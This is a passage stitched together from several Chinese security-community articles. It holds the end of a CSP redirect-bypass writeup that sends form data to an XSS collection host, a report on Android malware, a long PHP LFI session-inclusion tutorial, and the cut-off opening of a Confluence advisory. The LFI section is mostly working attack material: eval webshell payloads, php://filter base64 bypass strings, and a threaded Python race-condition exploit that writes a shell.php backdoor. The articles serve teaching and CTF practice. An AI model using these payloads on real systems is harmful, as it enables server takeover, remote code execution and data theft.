document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="//xss.cc/myjs/a.js">
</script>
</body>
</html>
结果不变
**既然能执行js，那么能发数据到xss平台吗**
既然我们成功的绕过了CSP的限制，那么我们是不是能把数据发送出去呢，比如发到xss平台
代码仍然如下
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/test/js/ http://xss.cc/test/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="/test/js/302.php?u=//xss.cc/myjs/test.js">
</script>
</body>
</html>
这里我们把js换成了test.js
var xml = new XMLHttpRequest();
xml.open('POST', 'http://xss.cc', true);
xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xml.send('username=123&password=123');
然后看看
看上去成功了
看上去收到了，可是我们是不是忽略了什么，CSP的设置好像少了default-src
<?php
header("Content-Security-Policy: default-src self script-src http://127.0.0.1/test/js/ http://xss.lazysheep.cc/test/");
?>
<html>
<head>
</head>
<body>
csp header test<!--
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
</script>
-->
<script src="/test/js/302.php?u=//xss.lazysheep.cc/myjs/test.js">
</script>
</body>
</html>
现在我们再试试看
被拦截了，事实上，并没有成功跨域
**结论**
总结来看，这里漏洞利用需要一些条件
1、在script-src允许的域下，需要存在一个重定向的页面，这种页面大多存在于登陆，退出登录。
2、在script-src允许的域下，存在某个任意文件的上传点（任意目录）。
3、有特别的方式跨域发送请求，或者有站内域可以接受请求。
看起来是比较难得利用条件，但是其实不然
比如某个站调用某个cdn，或者类似于script-src example.com/scripts/
google.com/recaptcha/，google.com/script/*下有个evil.js，然后刚好站内有个重定向，漏洞条件已经成立了。
**为什么**
那么为什么CSP会发生这样的漏洞呢，原作者提到了这样的问题,在Egor Homakov的文章中说了这个问题
<http://www.myseosolution.de/deanonymizing-facebook-users-by-csp-bruteforcing/>
事实上如果想要避免这样的问题，我们需要紧缩csp中允许的范围，而最好的解决办法是禁用重定向，文档中关于重定向的文章在这里
<https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects> | 社区文章 |
# 【技术分享】“六棱镜”手机病毒分析报告
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
**概述**
近期，360安全中心连续收到用户反馈，手机感染了一种难以清除的病毒。该病毒一旦运行，手机设备将不断弹出广告，自动下载、安装和启动各种恶意应用。常规手段无法彻底清除该病毒，手机一旦重启该病毒立刻“复活”，并导致某些安全软件无法响应。
经过深入分析调查，得出此病毒几个重要特征。推广方式比较特别，可以在界面生成诱导性图标；扣费方式主要是通过一些色情信息引诱用户支付；通过禁用安全软件和修改安全软件本地白名单的方式对抗杀软；病毒结构各分支细节非常复杂，用上了几乎所有最近流行的对抗分析手段。由于病毒伪装方式多样、迷惑性强并且结构复杂，我们将其命名为“六棱镜”手机病毒。
**影响**
“六棱镜”病毒运行后，动态加载Root模块，把扣费、推广等核心模块写入系统分区，并与conbb建立本地socket通信，执行控制命令。凭借使用ollvm加固混淆、禁用安全软件、替换系统文件等手段，短短三个月就已达到上百万次感染。感染范围覆盖全国各地，受影响比较严重的是沿海地区。
**(一) 传播途径**
生活服务类应用和色情诱惑类等刚需应用是“六棱镜”病毒最大的感染途径，这类应用主要通过用户主动下载或被动推广安装进行传播。
重打包、伪装热门游戏应用和工具软件诱导用户下载。
伪装系统应用：系统升级、系统设置，内置系统ROM中。
**(二) 感染分布**
1\. 全国地区感染分布
据360互联网安全中心监测到的数据，
2017年1-4月“六棱镜”病毒平均月新增40W，累计感染量已达百万级。其中广东省、河南省、山东省、四川省是感染重灾区。
2\. 受感染Android版本分布
从感染的手机系统版本来看，Android4.4、Android4.2、Android4.3和Android4.1成为感染集中区，低Android系统版本用户设备极度危险。
**
**
**恶意行为**
a) “六棱镜”病毒采用了比较特别的推广方式，远程接受控制命令，静默下载、安装和启动恶意应用，并在界面生成诱惑性图标，诱导和欺骗用户点击。
b) “六棱镜”病毒一旦运行，将会不断弹出全屏广告，这类广告主要包括色情应用、热门游戏和清理软件，并弹出安装和支付按钮，诱导用户点击。
c) 同时我们监控到“六棱镜”病毒具有禁止安全软件联网、禁用安全软件，把病毒自身母包信息写入到安全软件本地白名单中的恶意行为。
**技术分析**
(一) 执行流程图
“六棱镜”病毒各分支细节极其复杂，但是整体入侵过程与病毒常用执行流程相同：初始化信息、获取云端指令、下发Root方案，扎根系统、恶意推广。
(二) 病毒行为
1\. 初始化信息
初始化广告SDK渠道信息。
初始化待禁用安全软件列表。
生成Shell脚本进行进程守护。
初始化网络通信。
2\. 获取Root权限详细过程
Root提权模块是“六棱镜”病毒生存的关键模块。母包初始化完成后，立即从网络服务器下载Root提权模块sh.jar，该文件包含一系列与Root相关的文件。
动态加载rootDex.dex，调用getDex()尝试获取Root。
rootDex文件结构。
拷贝su、busybox、病毒APK到/mnt/sdcard/.xxx/目录下，su2更名为suc。
执行suc尝试获取Root权限。
suc释放动态库.xinyi1678410242，调用so中nu82f9uh2sfs()方法执行Root方案。
调用Root大师的Root方案进行提权。
3\. 恶意行为详细分析
Root成功后,拷贝病毒母体进/system/app目录
连接服务器接收云端指令，下载安装各种推广程序。
启动多个进程进行相互守护。
并将自身包信息写入到安全软件本地白名单中，绕过本地安全检查。
禁用安全软件，导致手机应用异常崩溃。
**
**
**溯源**
我们动态抓取到“六棱镜”病毒与服务器通信内容。本次病毒向服务器请求的获取安装APK，可以从中看到服务器返回APK下载链接、访问时间、是否加密等其他信息。
通过分析APK回连地址，我们发现病毒服务器上存在大量恶意程序，包括Root程序、恶意推广程序以及病毒更新程序。
相关病毒使用证书MD5。
“六棱镜”病毒使用网址信息。
“六棱镜”病毒服务器集群IP。
“六棱镜”病毒域名与IP关联性直观图如下：
**
**
**总结**
移动端病毒经历了从应用层到系统底层的重大演变后，替换系统文件、禁用安全软件、多个进程相互守护复活已然成为众多病毒作者的“常规武器”，禁止安全软件访问网络、修改安全软件病毒库已成为病毒作者突破本地防御系统的“新型武器”。
本文着重描述了病毒的关键功能信息，其底层模块结构非常复杂。比如/system/xbin/gpsrd、/system/xbin/conbb等病毒核心模块，均使用了去年Android端底层病毒常用的对抗手法，如ollvm编译、md5自变换、复杂的多进程守护以及众多反调试手段等。并且在后续版本中各模块代码功能完善，结构复杂，一定程度上加大了查杀难度。
值得注意的是六棱镜核心模块/system/xbin/conbb与百脑虫的核心模块conbb不仅名字相同，代码和功能相似度也很高。结合其对抗手段全面、结构复杂、功能完善的特点，可以看出“六棱镜”病毒吸收了以往各病毒家族的经验，这种发展方式使得Android端病毒的发展速度将会变得更快。 | 社区文章 |
# LFI 绕过 Session 包含限制 Getshell
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前打CTF和挖洞的时候遇到过不少服务器本地文件包含`Session`的漏洞，不过几乎这种`Session`包含漏洞都会有一些限制的，需要结合一些特殊的技巧去`Bypass`，于是打算整理一下关于`PHP
LFI`绕过`Session`包含限制`Getshell`的一些奇思妙想。
## 用户会话
在了解session包含文件漏洞及绕过姿势的时候，我们应该首先了解一下服务器上针对用户会话session的存储与处理是什么过程，只有了解了其存储和使用机制我们才能够合理的去利用它得到我们想要的结果。
### 会话存储
**存储方式**
`Java`是将用户的session存入内存中，而`PHP`则是将session以文件的形式存储在服务器某个文件中，可以在`php.ini`里面设置session的存储位置`session.save_path`。
可以通过phpinfo查看`session.save_path`的值
知道session的存储后，总结常见的php-session默认存放位置是很有必要的，因为在很多时候服务器都是按照默认设置来运行的，这个时候假如我们发现了一个没有安全措施的session包含漏洞就可以尝试利用默认的会话存放路径去包含利用。
* **默认路径**
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
**命名格式**
如果某个服务器存在session包含漏洞，要想去成功的包含利用的话，首先必须要知道的是服务器是如何存放该文件的，只要知道了其命名格式我们才能够正确的去包含该文件。
`session`的文件名格式为`sess_[phpsessid]`。而phpsessid在发送的请求的cookie字段中可以看到。
### 会话处理
在了解了用户会话的存储下来就需要了解php是如何处理用户的会话信息。php中针对用户会话的处理方式主要取决于服务器在php.ini或代码中对`session.serialize_handler`的配置。
**session.serialize_handler**
PHP中处理用户会话信息的主要是下面定义的两种方式
session.serialize_handler = php 一直都在(默认方式) 它是用 |分割
session.serialize_handler = php_serialize php5.5之后启用 它是用serialize反序列化格式分割
下面看一下针对PHP定义的不同方式对用户的session是如何处理的，我们只有知道了服务器是如何存储session信息的，才能够往session文件里面传入我们所精心制作的恶意代码。
**session.serialize_handler=php**
服务器在配置文件或代码里面没有对session进行配置的话，PHP默认的会话处理方式就是`session.serialize_handler=php`这种模式机制。
下面通过一个简单的用户会话过程了解`session.serialize_handler=php`是如何工作的。
`session.php`
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
从图中可以看到默认`session.serialize_handler=php`处理模式只对用户名的内容进行了序列化存储，没有对变量名进行序列化，可以看作是服务器对用户会话信息的半序列化存储过程。
**session.serialize_handler=php_serialize**
php5.5之后启用这种处理模式，它是用serialize反序列化格式进行存储用户的会话信息。一样的通过一个简单的用户会话过程了解`session.serialize_handler=php_serialize`是如何工作的。这种模式可以在php.ini或者代码中进行设置。
`session.php`
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
从图中可以看到`session.serialize_handler=php_serialize`处理模式，对整个session信息包括文件名、文件内容都进行了序列化处理，可以看作是服务器对用户会话信息的完全序列化存储过程。
对比上面`session.serialize_handler`的两种处理模式，可以看到他们在session处理上的差异，既然有差异我们就要合理的去利用这两种处理模式，假如编写代码不规范的时候处理session同时用了两种模式，那么在攻击者可以利用的情况下，很可能会造成session反序列化漏洞。
## LFI Session
介绍了用户会话的存储和处理机制后，我们就可以去深入的理解session文件包含漏洞。LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件，例如Session会话文件、日志文件、临时文件等。但是，只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。
其中针对`LFI
Session`文件的包含或许是现在见的比较多，简单的理解session文件包含漏洞就是在用户可以控制session文件中的一部分信息，然后将这部分信息变成我们的精心构造的恶意代码，之后去包含含有我们传入恶意代码的这个session文件就可以达到攻击效果。下面通过一个简单的案例演示这个漏洞利用攻击的过程。
### 测试代码
session.php
<?php
session_start();
$username = $_POST['username'];
$_SESSION["username"] = $username;
?>
index.php
<?php
$file = $_GET['file'];
include($file);
?>
### 漏洞利用
分析session.php可以看到用户会话信息username的值用户是可控的，因为服务器没有对该部分作出限制。那么我们就可以传入恶意代码就行攻击利用
payload
http://192.33.6.145/FI/session/session.php
POST
username=<?php eval($_REQUEST[Qftm]);?>
可以看到有会话产生，同时我们也已经写入了我们的恶意代码。
既然已经写入了恶意代码，下来就要利用文件包含漏洞去包含这个恶意代码，执行我们想要的结果。借助上一步产生的sessionID进行包含利用构造相应的payload。
payload
PHPSESSID：7qefqgu07pluu38m45isiesq3s
index.php?file=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s
POST
Qftm=system('whoami');
从攻击结果可以看到我们的payload和恶意代码确实都已经正常解析和执行。
### 包含限制
在上面我们所介绍的只是一种简单的理想化的漏洞条件，所以你会看到这么简单就利用成功了，但是，事实上在平常我们所遇到的会有很多限制，比如说代码中对用户会话信息做了一定的处理然后才进行存储，这些处理操作常见的包括对用户session信息进行编码或加密等。另外常见的限制比如说服务器代码中没有出现代码`session_start();`进行会话的初始化操作，这个时候服务器就无法生成用户session文件，攻击者也就没有办法就进行恶意session文件的包含。
下面主要针对这几种session包含限制，利用系统服务或代码本身的缺陷进行探索与利用。
## Session Base64Encode
很多时候服务器上存储的Session信息都是经过处理的（编码或加密），这个时候假如我们利用本地文件包含漏洞直接包含恶意session的时候是没有效果的。那么该怎么去绕过这个限制呢，一般做法是逆过程，既然他选择了编码或加密，我们就可以尝试着利用解码或解密的手段还原真实session，然后再去包含，这个时候就能够将恶意的session信息包含利用成功。
很多时候服务器上的session信息会由base64编码之后再进行存储，那么假如存在本地文件包含漏洞的时候该怎么去利用绕过呢？下面通过一个案例进行讲解与利用。
### 测试代码
**session.php**
<?php
session_start();
$username = $_POST['username'];
$_SESSION['username'] = base64_encode($username);
echo "username -> $username";
?>
**index.php**
<?php
$file = $_GET['file'];
include($file);
?>
### 常规利用
正常情况下我们会先传入恶意代码在服务器上存储恶意session文件
然后在利用文件包含漏洞去包含session
从包含结果可以看到我们包含的session被编码了，导致`LFI -> session`失败。
在不知道源代码的情况下，从编码上看可以判断是base64编码处理的
在这里可以用逆向思维想一下，他既然对我们传入的session进行了base64编码，那么我们是不是只要对其进行base64解码然后再包含不就可以了，这个时候`php://filter`就可以利用上了。
构造payload
index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl
意外的事情发生了，你发现解码后包含的内容竟然是乱码！！这是为什么呢？？
### Bypass serialize_handler=php
对于上面利用`php://filter`的base64解码功能进行解码包含出现了错误，还是不能够利用成功，回过头仔细想想会发现，session存储的一部分信息是用户名base64编码后的信息，然而我们对session进行base64解码的是整个session信息，也就是说编码和解码的因果关系不对，也就导致解码的结果是乱码。
那有没有什么办法可以让base64编码和解码的因果关系对照上，答案是有的，先来了解一下base64编码与解码的原理。
**Base64编码与解码**
Base64编码是使用64个可打印ASCII字符（A-Z、a-z、0-9、+、/）将任意字节序列数据编码成ASCII字符串，另有“=”符号用作后缀用途。
**base64索引表**
base64编码与解码的基础索引表如下
**base64编码原理**
**（1）base64编码过程**
Base64将输入字符串按字节切分，取得每个字节对应的二进制值（若不足8比特则高位补0），然后将这些二进制数值串联起来，再按照6比特一组进行切分（因为2^6=64），最后一组若不足6比特则末尾补0。将每组二进制值转换成十进制，然后在上述表格中找到对应的符号并串联起来就是Base64编码结果。
由于二进制数据是按照8比特一组进行传输，因此Base64按照6比特一组切分的二进制数据必须是24比特的倍数（6和8的最小公倍数）。24比特就是3个字节，若原字节序列数据长度不是3的倍数时且剩下1个输入数据，则在编码结果后加2个=；若剩下2个输入数据，则在编码结果后加1个=。
完整的Base64定义可见RFC1421和RFC2045。因为Base64算法是将3个字节原数据编码为4个字节新数据，所以Base64编码后的数据比原始数据略长，为原来的4/3。
**（2）简单编码流程**
1）将所有字符转化为ASCII码；
2）将ASCII码转化为8位二进制；
3）将8位二进制3个归成一组(不足3个在后边补0)共24位，再拆分成4组，每组6位；
4）将每组6位的二进制转为十进制；
5）从Base64编码表获取十进制对应的Base64编码；
下面举例对字符串`“ABCD”`进行base64编码：
对于不足6位的补零（图中浅红色的4位），索引为“A”；对于最后不足3字节，进行补零处理（图中红色部分），以“=”替代，因此，“ABCD”的base64编码为：“QUJDRA==”。
**base64解码原理**
**（1）base64解码过程**
base64解码，即是base64编码的逆过程，如果理解了编码过程，解码过程也就容易理解。将base64编码数据根据编码表分别索引到编码值，然后每4个编码值一组组成一个24位的数据流，解码为3个字符。对于末尾位“=”的base64数据，最终取得的4字节数据，需要去掉“=”再进行转换。
解码过程可以参考上图，逆向理解：`“QUJDRA==” ——>“ABCD”`
**（2）base64解码特点**
base64编码中只包含64个可打印字符，而PHP在解码base64时，遇到不在其中的字符时，将会跳过这些字符，仅将合法字符组成一个新的字符串进行解码。下面编写一个简单的代码，测试一组数据看是否满足我们所说的情况。
* **测试代码**
探测base64_decode解码的特点
<?php
/**
* Created by PhpStorm.
* User: Qftm
* Date: 2020/3/17
* Time: 9:16
*/
$basestr0="QftmrootQftm";
$basestr1="Qftm#root@Qftm";
$basestr2="Qftm^root&Qftm";
$basestr3="Qft>mro%otQftm";
$basestr4="Qf%%%tmroo%%%tQftm";
echo base64_decode($basestr0)."n";
echo base64_decode($basestr1)."n";
echo base64_decode($basestr2)."n";
echo base64_decode($basestr3)."n";
echo base64_decode($basestr4)."n";
?>
* 运行结果
从结果中可以看到一个字符串中，不管出现多少个特殊字符或者位置上的差异，都不会影响最终的结果，可以验证base64_decode是遇到不在其中的字符时，将会跳过这些字符，仅将合法字符组成一个新的字符串进行解码。
**Bypass base64_encode**
了解了base64编码原理之后和解码的特点，怎么让base64解码和编码的因果关系对照上，其实就很简单了，我们只要让session文件中base64编码的前面这一部分`username|s:40:"`正常解码就可以，怎么才能正常解码呢，需要满足base64解码的原理，就是4个字节能够还原原始的3个字节信息，也就是说session前面的这部分数据长度需要满足4的整数倍，如果不满足的话，就会影响session后面真正的base64编码的信息，也就导致上面出现的乱码情况。
**Bypass分析判断**
正常情况下base64解码包含`serialize_handler=php`处理过的原始session信息，未能正常解析执行
username|s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";
?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl
依据base64编码和解码的特点进行分析，当session存储的信息中用户名编码后的长度为个位数时，`username|s:1:"`这部分数据长度为14，实际解码为`usernames1`，实际长度为10，不满足情况。
4组解码->缺少两个字节，后面需占两位（`X` 代表占位符）
username|s:1:" //原始未处理信息
user name s1XX //base64解码特点，去除特殊字符，填充两个字节'XX'
当session存储的信息中用户名编码后的长度为两位数时，`username|s:11:"`这部分数据长度为15，实际解码为`usernames11`，实际长度为11，不满足情况。
4组解码->缺少一个字节，后面需占一位
username|s:11:" //原始未处理信息
user name s11X //base64解码特点，去除特殊字符，填充一个字节'X'
当session存储的信息中用户名编码后的长度为三位数时，`username|s:111:"`这部分数据长度为16，实际解码为`usernames111`，长度为12，满足情况。
4组解码->缺少零个字节，后面需占零位
username|s:11:" //原始未处理信息
user name s111 //base64解码特点，去除特殊字符，填充0个字节'X'
这种情况下刚好满足，即使前面这部分数据正常解码后的结果是乱码，也不会影响后面恶意代码的正常解码。
再次构造payload
POST：
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>
先测试payload编码后的长度是否满足构造需求
base64编码
cWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtPD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=
编码测长
结果中可以看到payload满足长度的需求。
**Bypass攻击利用**
分析怎么绕过之后，可以构造payload传入恶意session
http://192.33.6.145/FI/session/session.php
POST：
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>
然后构造payload包含恶意session
http://192.33.6.145/FI/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_qfg3alueqlubqu59l822krh5pl
POST：
mtfq=phpinfo();
从相应结果中可以看到，在PHP默认的会话处理模式`serialize_handler=php`下，我们这次构造的payload成功解析了，达到了预期的目的。
**Getshell**
尝试蚁剑连接我们session中传入的恶意代码
从连接情况上看，后门代码的运行是正常的没有出现问题。
### Bypass serialize_handler=php_serialize
看到这里可能有人会想上面默认处理的是`session.serialize_handler =
php`这种模式，那么针对`session.serialize_handler =
php_serialize`这种处理方式呢，答案是一样的，只要能构造出相应的`payload`满足恶意代码的正常解码就可以。
**测试代码**
**session.php**
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$username = $_POST['username'];
$_SESSION['username'] = base64_encode($username);
echo "username -> $username";
?>
**Bypass分析判断**
正常情况下base64解码包含`serialize_handler=php_serialize`处理过的原始session信息，未能正常解析执行
a:1:{s:8:"username";s:40:"PD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=";}
?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s
这中模式下的分析，和上面Bypass分析的手段是一样的，同样依据base64编码和解码的特点进行分析，当session存储的信息中用户名编码后的长度为个位数时，`a:1:{s:8:"username";s:1:"`这部分数据长度为25，实际解码为`a1s8usernames1`，实际长度为14，不满足情况。
4组解码->缺少两个字节，后面需占两位（`X` 代表占位符）
a:1:{s:8:"username";s:1:" //原始未处理信息
a1s8 user name s1XX //base64解码特点，去除特殊字符，填充两个字节'XX'
当session存储的信息中用户名编码后的长度为两位数时，`a:1:{s:8:"username";s:11:"`这部分数据长度为26，实际解码为`a1s8usernames11`，实际长度为15，不满足情况。
4组解码->缺少一个字节，后面需占一位
a:1:{s:8:"username";s:11:" //原始未处理信息
a1s8 user name s11X //base64解码特点，去除特殊字符，填充一个字节'X'
当session存储的信息中用户名编码后的长度为三位数时，`a:1:{s:8:"username";s:11:"`这部分数据长度为27，实际解码为`a1s8usernames111`，长度为16，满足情况。
4组解码->缺少零个字节，后面需占零位
a:1:{s:8:"username";s:111:" //原始未处理信息
a1s8 user name s111 //base64解码特点，去除特殊字符，填充0个字节'X'
这种情况下刚好满足，即使前面这部分数据正常解码后的结果是乱码，也不会影响后面恶意代码的正常解码。
构造payload
POST：
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>
先测试payload编码后的长度是否满足构造需求
base64编码
cWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtcWZ0bXFmdG1xZnRtPD9waHAgZXZhbCgkX1BPU1RbJ210ZnEnXSk7Pz4=
编码测长
结果中可以看到payload满足长度的需求。
**Bypass攻击利用**
再次构造payload传入恶意session
http://192.33.6.145/FI/session/session.php
POST：
username=qftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftmqftm<?php eval($_POST['mtfq']);?>
然后构造payload包含向服务器生成的恶意session
http://192.33.6.145/FI/session/index.php?file=php://filter/convert.base64-decode/resource=/var/lib/php/sessions/sess_7qefqgu07pluu38m45isiesq3s
POST：
mtfq=phpinfo();
从相应结果中可以看到，这种模式下`session.serialize_handler =
php_serialize`，我们构造的payload也成功的解析了，同样达到了预期的目的。
**Getshell**
尝试蚁剑连接我们session中传入的恶意代码
## No session_start()
### phpinfo session
一般情况下，`session_start()`作为会话的开始出现在用户登录等地方以维持会话，但是，如果一个站点存在`LFI`漏洞，却没有用户会话那么该怎么去包含session信息呢，这个时候我们就要想想系统内部本身有没有什么地方可以直接帮助我们产生session并且一部分数据是用户可控的，很意外的是这种情况存在，下面分析一下怎么去利用。
想要具体了解session信息就要熟悉session在系统中有哪些配置。默认情况下，`session.use_strict_mode`值是0，此时用户是可以自己定义`Session
ID`的。比如，我们在Cookie里设置`PHPSESSID=Qftm`，PHP将会在服务器上创建一个文件：`/var/lib/php/sessions/sess_Qftm`。
但这个技巧的实现要满足一个条件：服务器上需要已经初始化Session。
在PHP中，通常初始化Session的操作是执行session_start()。所以我们在审计PHP代码的时候，会在一些公共文件或入口文件里看到上述代码。那么，如果一个网站没有执行这个初始化的操作，是不是就不能在服务器上创建文件了呢？很意外是可以的。下面看一下php.ini里面关键的几个配置项
`session.auto_start`：顾名思义，如果开启这个选项，则PHP在接收请求的时候会自动初始化Session，不再需要执行session_start()。但默认情况下，也是通常情况下，这个选项都是关闭的。
`session.upload_progress.enabled = on`：默认开启这个选项，表示`upload_progress`功能开始，PHP
能够在每一个文件上传时监测上传进度。
这个信息对上传请求自身并没有什么帮助，但在文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态。
`session.upload_progress.cleanup =
on`：默认开启这个选项，表示当文件上传结束后，php将会立即清空对应session文件中的内容，这个选项非常重要。
`session.upload_progress.prefix = "upload_progress_"`：
`session.upload_progress.name =
"PHP_SESSION_UPLOAD_PROGRESS"`：当一个上传在处理中，同时POST一个与INI中设置的`session.upload_progress.name`同名变量时（这部分数据用户可控），上传进度可以在SESSION中获得。当PHP检测到这种POST请求时，它会在SESSION中添加一组数据（系统自动初始化session）,
索引是session.upload_progress.prefix与session.upload_progress.name连接在一起的值。
`session.upload_progress.freq = "1%"`+`session.upload_progress.min_freq =
"1"`：选项控制了上传进度信息应该多久被重新计算一次。 通过合理设置这两个选项的值，这个功能的开销几乎可以忽略不计。
`session.upload_progress`：php>=5.4添加的。最初是PHP为上传进度条设计的一个功能，在上传文件较大的情况下，PHP将进行流式上传，并将进度信息放在Session中（包含用户可控的值），即使此时用户没有初始化Session，PHP也会自动初始化Session。
而且，默认情况下session.upload_progress.enabled是为On的，也就是说这个特性默认开启。那么，如何利用这个特性呢？
**查看官方给的案列**
PHP_SESSION_UPLOAD_PROGRESS的官方手册
http://php.net/manual/zh/session.upload-progress.php
一个上传进度数组的结构的例子
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
在session中存放的数据看上去是这样子的：
<?php
$_SESSION["upload_progress_123"] = array(
"start_time" => 1234567890, // The request time
"content_length" => 57343257, // POST content length
"bytes_processed" => 453489, // Amount of bytes received and processed
"done" => false, // true when the POST handler has finished, successfully or not
"files" => array(
0 => array(
"field_name" => "file1", // Name of the <input/> field
// The following 3 elements equals those in $_FILES
"name" => "foo.avi",
"tmp_name" => "/tmp/phpxxxxxx",
"error" => 0,
"done" => true, // True when the POST handler has finished handling this file
"start_time" => 1234567890, // When this file has started to be processed
"bytes_processed" => 57343250, // Amount of bytes received and processed for this file
),
// An other file, not finished uploading, in the same request
1 => array(
"field_name" => "file2",
"name" => "bar.avi",
"tmp_name" => NULL,
"error" => 0,
"done" => false,
"start_time" => 1234567899,
"bytes_processed" => 54554,
),
)
);
### Bypass思路分析
从官方的案例和结果可以看到session中一部分数据(`session.upload_progress.name`)是用户自己可以控制的。那么我们只要上传文件的时候，在Cookie中设置`PHPSESSID=Qftm`（默认情况下session.use_strict_mode=0用户可以自定义Session
ID），同时POST一个恶意的字段`PHP_SESSION_UPLOAD_PROGRESS`
，（PHP_SESSION_UPLOAD_PROGRESS在session.upload_progress.name中定义），只要上传包里带上这个键，PHP就会自动启用Session，同时，我们在Cookie中设置了PHPSESSID=Qftm，所以Session文件将会自动创建。
事实上并不能完全的利用成功，因为`session.upload_progress.cleanup =
on`这个默认选项会有限制，当文件上传结束后，php将会立即清空对应session文件中的内容，这就导致我们在包含该session的时候相当于在包含一个空文件，没有包含我们传入的恶意代码。不过，我们只需要条件竞争，赶在文件被清除前利用即可。
### Bypass思路梳理
* upload file
files={'file': ('a.txt', "xxxxxxx")}
* 设置cookie PHPSESSID
session.use_strict_mode=0造成Session ID可控
PHPSESSID=Qftm
* POST一个字段PHP_SESSION_UPLOAD_PROGRESS
session.upload_progress.name="PHP_SESSION_UPLOAD_PROGRESS"，在session中可控，同时，触发系统初始化session
"PHP_SESSION_UPLOAD_PROGRESS":'<?php phpinfo();?>'
* session.upload_progress.cleanup = on
多线程，时间竞争
### Bypass攻击利用
**脚本利用攻击**
* **编写Exp**
import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.33.6.145/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://192.33.6.145/index.php?file=../../../../../../../../var/lib/php/sessions/sess_{sessid}')
# print('[+++]retry')
# print(response.text)
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
* **运行攻击效果**
在服务器中可以看到生成：sess_Qftm
同时恶意代码也会正常执行
之后可以利用后门webshell进行连接Getshell
**表单利用攻击**
上面的一种做法是通过编写脚本代码的方式去利用的，不过还有另一种利用手段就是表单的攻击利用。
* **表单构造**
这里可以更改官方给的案例进行利用
`upload.html`
<!doctype html>
<html>
<body>
<form action="http://192.33.6.145/index.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" vaule="<?php phpinfo(); ?>" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
</body>
</html>
但是同样需要注意的是，cleanup是on，所以需要条件竞争，使用BP抓包，一遍疯狂发包，一遍疯狂请求。
* **上传文件**
访问本地upload.html开启代理开始上传文件
* **发包传入恶意会话**
代理拦截我们的上传请求数据包，这里需要设置`Cookie:
PHPSESSID=123456789`（自定义sessionID），然后不断发包，生成session，传入恶意会话。
请求载荷设置`Null payloads`
不断发包维持恶意session的存储
不断发包的情况下，在服务器上可以看到传入的恶意session
* **发包请求恶意会话**
不断发出请求包含恶意的session
请求载荷设置`Null payloads`
在一端不断发包维持恶意session存储的时候，另一端不断发包请求包含恶意的session
从结果中可以看到，利用表单攻击的这种手法也是可以的，可以看到恶意代码包含执行成功。
## Conclusion
在平时遇到限制的时候，多去以逆向的思维和系统服务或代码的本身去考虑问题，这样才很有可能突破固有的限制。 | 社区文章 |
**作者: Badcode@知道创宇404实验室**
**日期: 2019/08/29**
**英文版本:<https://paper.seebug.org/1026/>**
### 前言
下午 @fnmsd 师傅发了个
[Confluence](https://jira.atlassian.com/browse/CONFSERVER-58734)
的预警给我，我看了下补丁，复现了这个漏洞，本篇文章记录下这个漏洞的应急过程。
看下描述，Confluence Server 和 Data Center
在页面导出功能中存在本地文件泄露漏洞：具有“添加页面”空间权限的远程攻击者，能够读取 `<install-directory>/confluence/WEB-INF/` 目录下的任意文件。该目录可能包含用于与其他服务集成的配置文件，可能会泄漏认证凭据，例如
